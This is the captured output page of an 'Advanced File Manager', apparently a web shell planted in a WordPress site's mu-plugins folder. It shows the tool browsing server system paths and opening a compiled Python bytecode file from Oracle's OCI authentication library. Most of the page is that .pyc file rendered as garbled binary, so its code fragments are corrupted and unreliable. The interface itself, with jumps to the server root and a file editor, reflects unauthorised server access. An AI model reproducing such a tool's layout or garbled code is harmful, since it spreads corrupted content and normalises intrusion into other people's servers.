📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
lib
›
python3.9
›
site-packages
›
oci
›
auth
›
📁 __pycache__
📍
Lokasi:
/usr/lib/python3.9/site-packages/oci/auth/__pycache__
💾
Free:
45.8 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: session_key_supplier.cpython-39.opt-1.pyc
a ���f � @ s4 d dl mZ d dlmZ d dlZG dd� de�ZdS )� )�default_backend)�rsaNc @ s* e Zd ZdZd dd�Zdd� Zdd� Zd S )�SessionKeySupplieri � c C s, || _ tj| j| j t� d�| _t�� | _dS )z� A supplier which vends public and private keys, and can refresh the keys it uses. :param int key_size (optional): The key size to use when generating private keys. Defaults to 2048 if not provided. �Zpublic_exponent�key_sizeZbackendN) r r �generate_private_key�PUBLIC_EXPONENTr �private_key� threading�Lock� _refresh_lock)�selfr � r �A/usr/lib/python3.9/site-packages/oci/auth/session_key_supplier.py�__init__ s �zSessionKeySupplier.__init__c C s( | j �� | j}| j �� ||�� d�S )N)ZprivateZpublic)r �acquirer �releaseZ public_key)r r r r r �get_key_pair s zSessionKeySupplier.get_key_pairc C sB | j �� z&tj| j| jt� d�| _W | j �� n| j �� 0 d S )Nr ) r r r r r r r r r )r r r r �refresh&